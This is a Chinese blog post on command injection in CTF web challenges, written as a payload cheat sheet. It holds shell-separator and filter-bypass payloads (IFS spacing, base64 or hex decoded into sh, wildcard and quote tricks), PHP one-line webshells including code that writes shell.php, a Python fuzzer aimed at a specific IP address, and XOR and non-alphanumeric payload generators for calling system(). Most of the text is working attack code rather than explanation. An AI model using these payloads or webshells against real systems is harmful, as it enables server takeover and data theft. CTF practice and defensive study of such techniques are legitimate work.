CTF-WEB之命令执行

优秀的人,不是不合群,而是他们合群的人里面没有你

案例入门

掌握一下linux的find命令:

#在根目录开始,查找含有flag字段的文件地址
find / -name flag*
find / -name *flag
#在当前目录输出文件内容的base64编码
cat flag.txt|base64

下面开始将任意命令执行,题目如下

php代码如下:
<?php echo system('ping -c 4 '.$ip)?>
那么就能完成系统命令执行

对传递输入的值ip进行添加;whoami就实现命令执行~~

测试的时候最好用burpsuite,因为有一些结果可能被注释了!!必须查看网页源码才能看到!!

漏洞危害

  1. 继承Web服务程序的权限去执行系统命令或读写文件
  2. 反弹shell
  3. 控制整个网站甚至控制服务器
  4. 进一步内网渗透

常见函数

isset()函数:用于检测变量是否已设置并且非 NULL。
highlight_file()函数:对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
show_source()是 highlight_file() 的别名。
eval()函数:用来执行一个字符串表达式,并返回表达式的值。
next() 将内部指针指向数组中的下一个元素
glob() 函数返回匹配指定模式的文件名或目录
array_reverse():将数组逆序排列
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值
session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
rev():将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。

常用绕过命令

%0a  --换行符,需要php环境
%0d  --回车符,需要php环境
;  --在 shell 中,是”连续指令”
&  --不管第一条命令成功与否,都会执行第二条命令
&&  --第一条命令成功,第二条才会执行
|  --第一条命令的结果,作为第二条命令的输入
||  --第一条命令失败,第二条才会执行

在windows下还可以用

%0a
%1a
&
|

绕过空格

%09(需要php环境) 
%20
$IFS$
${IFS}
$IFS
$IFS$9
$IFS$1
<>
<
{ls,-al}
kg=$'\x20flag.php'&&cat$kg

(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
或者base64编码

如果过滤空格--->url中输入cat%20flag,或者cat【输入tab】flag,或者{cat,flag}或者输出符号cat<flag

比如下面的

空格绕过解法:(以cat flag.php为例子,绕过cat与flag中间的空格)
{cat,flag.php} 
cat${IFS}flag.php
cat$IFS$9flag.php
cat$IFS$1flag.php
cat<flag.php
%09替换
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
或者base64编码
{cat,flag.php} 
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3

查看当前目录的所有文件的内容

cat `ls`
cat *

绕过反斜杠

linux里echo ${PATH}可以获得当前路径,所以很显然,我只要取第一个字符那就是/了,

随着这个逻辑可以代替${PATH:0:1}的使用方法也挺多的,比如${PATH:4:1}也代表/

比如${PWD:0:1}、${HOME:0:1}、${SHELL:0:1}等等

骚骚的脚本爆破

然后我们发现替换通配符和空格的就那么几个,我们把他们全都列出来

# coding:utf-8
import requests,re,time

suffixs = [
'%0a',
'%0d',
';',
'&',
'&&',
'|',
'||'
]
#'',
# 替换通配

suffispace = [
'%09',
'%20',
'$IFS$',
'${IFS}',
'$IFS',
'$IFS$9',
'$IFS$1',
'<>',
'<',
# '{ls,-al}',
# "kg=$'\x20flag.php'&&cat$kg",
        ]
# 替换空格
common = '127.0.0.1;ls -al'
for s in suffixs:
    for e in suffispace:
        c = common.replace(';',s).replace(' ',e)
        with open('rce_fuzz_result.txt','a+')as a:
            a.write(c+'\n')

然后写代码fuzz或者手工测试看看哪个能用

写了个大概的样子

# coding:utf-8
import requests
url = 'http://111.33.14.218:22065/?ip='
payloads = [x.strip() for x in open('rce_fuzz_result.txt').readlines()]
for p in payloads:
    r = requests.get(url=url+p)
    if 'flag' in (r.content.decode()):
        print(p)

字母绕过

当存在flag此类字母被过滤时,我们可以用\等来进行过滤,ca’’t、ca\t、ca””t和cat等效的,示例如下

拼接大法         a=l;b=s;$a$b
反斜杠大法       ca\t fla\g
单双引号绕过大法  c'at fl'ag

有时候会顺序过滤flag,所以这么写

b=ag;a=fl;cat $a$b.php

如果过滤cat,可以这么写

a=c;b=at;c=flag.php;$a$b $c

结合一下

b=ag;a=fl;c=ca;d=t;$d$c $a$b.php

base64绕过长这样子

echo cat flag.php|base64 -d|sh对此进行加密

echo Y2F0IGZsYWcucGhw|base64 -d|sh

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

hex编码绕过

echo cat flag.php|xxd -r -p|bash 对此进行加密

echo 63617420666c61672e706870 | xxd -r -p|bash

echo$IFS$163617420666c61672e706870$IFS$1|$IFS$1xxd$IFS$1-r$IFS$1-p|bash

unicode编码绕过

cat flag.php对此进行加密
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70") 

进制转换绕过

把flag转成八进制,变成

$'\146\154\141\147'

把这一段 cat /$'\146\154\141\147' 进行url编码一下,安全保险

然后是其他的方法,通配符号绕过

比如  cat f*
      cat fla?.php

如果cat被过滤

/bin/ca? fla?.php

举个例子:

cat /f*    
cat /f???
cat /[9-q][9-q][9-q][9-q]  正则表达式

读取文件的命令

ls:打印当前目录下所有内容,配合 ls /一起使用
echo:打印输出内容
cat:将文件的内容按正常的顺序打出 
tac:将文件进行读取,按逆序打出文件内容 
nl:打出文件内容的同时给每行加了行号
more:以一页一页的显示方便使用者逐页阅读
less:类似于more但必more更具有弹性
bzless:一样
head:前几行
tail:后几行

sed p /fla*   试一下这个
sort /fla*    试一下这个
rev /fla*
man /f*
paste /f*
grep { /f*
file -f /f*
dd if=/flag
diff /fla* /etc/passwd
xxd /flag*

vi:编辑器 vim:编辑器 
grep:命令用于查找文件里符合条件的字符串

命令执行和代码执行

先总而言之一下:php代码可以直接执行系统命令,完整就是这个样子

<?php system("ls");?>

然后这个命令怎么执行?打开就是上传一个文件,然后访问这个文件。另一种情况就是,用伪协议,php的input和data都可以直接用,唯一区别是input得要post请求,data直接在浏览器请求就行。第三个就是用一句话木马了,上传一句话,这个样子

<?php @eval($_POST[m]);?>
<?php eval($_POST['-7'])?>

如果把post改成get,那么就可以直接在浏览器请求中用~

然后访问网址,前提一句话木马是get请求方法

xxxx.com/?m=system('ls');
xxxx.com/?m=system('cat ../falg');
xxxx.com/?m=system('cat falg.txt');
xxxx.com/?m=phpinfo();
xxxx.com/?m=system('cat /falg');

还可以使用php的命令读取

?a=print_r(scandir('.'));
可以发现一个文件名很长的文件
?a=print_r(glob('*'));
遍历目录 glob()函数用来查找文件

?a=highlight_file('xxx')
可以读取这个文件
?a=show_source('xxx')
这个样子也可以读取这个文件

在php的eval()命令下,比如eval($cmd)

这个cmd可控输入,可以这么写

cmd=system('ls');
cmd=system('cat /flag');

如果system等关键词被过滤比如下面这样,有个骚方法

cmd=(s.ystem)('ls /');
cmd=(s.ystem)('ls');
cmd=(s.y.s.t.em)('cat /flag');
cmd=(p.h.p.i.nfo)();

甚至还可以用hex进行编码

cmd=hex2bin('73797374656d')('cat index.php');

Exec是命令执行,执行系统命令

ls,dir

Eval是代码执行,执行脚本代码,也能执行系统命令比如:

Phpinfo();
上传一句话木马执行payload:
fputs(fopen('shell.php','w'),'<?php @eval($_POST[a]);?>');
访问当前目录下shell.php

举个例子

实例代码如图,也就是执行eval,单纯的执行eval,如果需要输出内容使用echo

echo system('ls');
echo system('ls /');
echo `ls`;
echo `ls /`;

直接读取文件,注意是在根目录下,所以要加上/

如果过滤的很严格,绕过我就不擅长,放两个网上不能通用的小招

没有过滤:! $ ’ ( ) + , . / ; = [ ] _
URL编辑参数:https://xxxx.com/?_=system&__=ls /
POST数据:xxxx=$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);


没有过滤:0 $ 1 ( ) + , . / ; = [ ] _
POST数据:xxx=$_=(0/0)._;$_=$_[0];$__=++$_;$_++;$__=$_.$__;$_++;$_++;$_++;$__=$__.$_++;$__=_.$__.$_;$$__[0]($$__[1]);&0=system&1=tac /f*

POST数据:XXX=$_=(0/_._)[0];$__=++$_;$=__.++$.$_++;$_++;$_++;$_=$__.++$_.++$_;$$_[0]($$_[_]);&0=system&=ls / 查看根目录发现flag,然后读取即可。

下面是这个小招的原理

异或

什么是异或,我们这里举一个例子,我们将字符A和?进行异或操作

<?php
echo 'A'^'?';

可以发现得到的结果是~,那么它是如何计算的呢,过程如下
首先将A和?分别转换为对应的ASCII码,A变为65,?变为63
然后将其转换为对应的二进制数,A变为1000001,1变为111111
接下来就进行运算,异或的运算规则是相同为0,不同为1

A:      1000001
1:      0111111(少一位,前面补0即可) 
结果: 1111110

接下来将其二进制转换为对应十进制数,1111110对应的十进制数为126,根据ASCII码表可知126对应的是~,所以这个时候得到的字符就是~。
因此,我们利用这种思路,可以借助异或构造payload如下

$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST 
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);

然后我们再取消一下换行符,将它合并于一行之中

$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);

最后进行一次URL编码(因为中间件会进行一次解码,所以我们这里需要手动编码一次),即可得最终payload

%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B

我们这里是不是就可以构造一个脚本,通过一次异或运算得到我们想构造的字符串,比如system,那这里的话我们大体思路的话就有了

第一步:寻找未被过滤的字符
第二步:写入我们想构造的字符串,然后对它进行一个遍历,先获取第一个字符
第三步:用刚刚找到的未被过滤的字符进行一个遍历,看哪两个能够通过异或运算构造出第一个字符,同理得到后面的
第四步:输出时将字符进行一个URL编码,因为涉及到了部分不可见字符

代码如下:

import re
import requests
import urllib
from sys import *
import os

a=[]
ans1="" 
ans2=""
for i in range(0,256): #设置i的范围
    c=chr(i)
    #将i转换成ascii对应的字符,并赋值给c
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
    #设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符
    if(tmp):
        continue
        #当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
    else:
        a.append(i)
        #在数组中增加i,这些就是未被系统过滤掉的字符

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="dir"      #参数
def myfun(k,my): #自定义函数
    global ans1 #引用全局变量ans1,使得在局部对其进行更改时不会报错
    global ans2 #引用全局变量ans2,使得在局部对其进行更改时不会报错
    for i in range (0,len(a)): #设置循环范围为(0,a)注:a为未被过滤的字符数量 
        for j in range(i,len(a)): #在上个循环的条件下设置j的范围
            if(a[i]^a[j]==ord(my[k])):
                ans1+=chr(a[i]) #ans1=ans1+chr(a[i])
                ans2+=chr(a[j]) #ans2=ans2+chr(a[j])
                return;#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符
for x in range(0,len(mya)): #设置k的范围
    myfun(x,mya)#引用自定义的函数
data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" #data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值
print(data1)
ans1=""#对ans1进行重新赋值
ans2=""#对ans2进行重新赋值
for k in range(0,len(myb)):#设置k的范围为(0,len(myb))
    myfun(k,myb)#再次引用自定义函数
data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"
print(data2)

案例

  1. 空格绕过1

代码:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了$ ,没法用${IFS}绕过空格了,用%09。过滤了通配符*,但是我还有?呀,也可以’’绕过构造payload如下

?c=tac%09fla?????||
?c=tac%09fl''ag.php||
  1. 空格绕过2

代码如下:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);

同上,构造payload如下(用重定向符<不能出现通配符?)

?c=tac<fl''ag.php||
?c=tac<>fl''ag.php||

https://xz.aliyun.com/t/11929?time__1311=Cq0xuD2Dg0i%3DDsD7zAxiIpRQDnWjFW4D#toc-10

坚持原创技术分享,您的支持将鼓励我继续创作!

-------------本文结束感谢您的阅读-------------

腾讯云主机优惠打折:最新活动地址


版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%